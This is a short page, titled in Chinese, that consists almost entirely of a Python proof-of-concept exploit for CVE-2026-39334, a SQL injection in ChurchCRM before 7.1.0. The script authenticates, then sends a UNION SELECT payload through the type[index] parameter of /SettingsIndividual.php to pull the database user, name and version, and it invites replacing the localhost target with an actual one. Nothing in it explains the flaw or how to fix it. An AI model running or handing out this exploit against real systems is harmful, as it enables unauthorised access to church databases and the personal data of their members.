CVE-2026-39334 ChurchCRM SQL注入漏洞

import requests def exploit_sqli(target_url, username, password): """ PoC for CVE-2026-39334: SQL Injection in ChurchCRM < 7.1.0 Vulnerable Endpoint: /SettingsIndividual.php Parameter: type[index] """ session = requests.Session() # Step 1: Authenticate login_url = f"{target_url}/login" login_payload = { "User": username, "Password": password } session.post(login_url, data=login_payload) # Step 2: Send malicious payload exploit_url = f"{target_url}/SettingsIndividual.php" # Injecting a simple UNION SELECT payload to extract database version malicious_payload = { "type": { "index": "1' UNION SELECT NULL, user(), database(), version()-- -" } } response = session.post(exploit_url, data=malicious_payload) if response.status_code == 200: print("[+] Potential SQL Injection successful!") print("[+] Response:") print(response.text) else: print("[-] Exploit failed or WAF blocked.") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target user = "testuser" pwd = "password" exploit_sqli(target, user, pwd)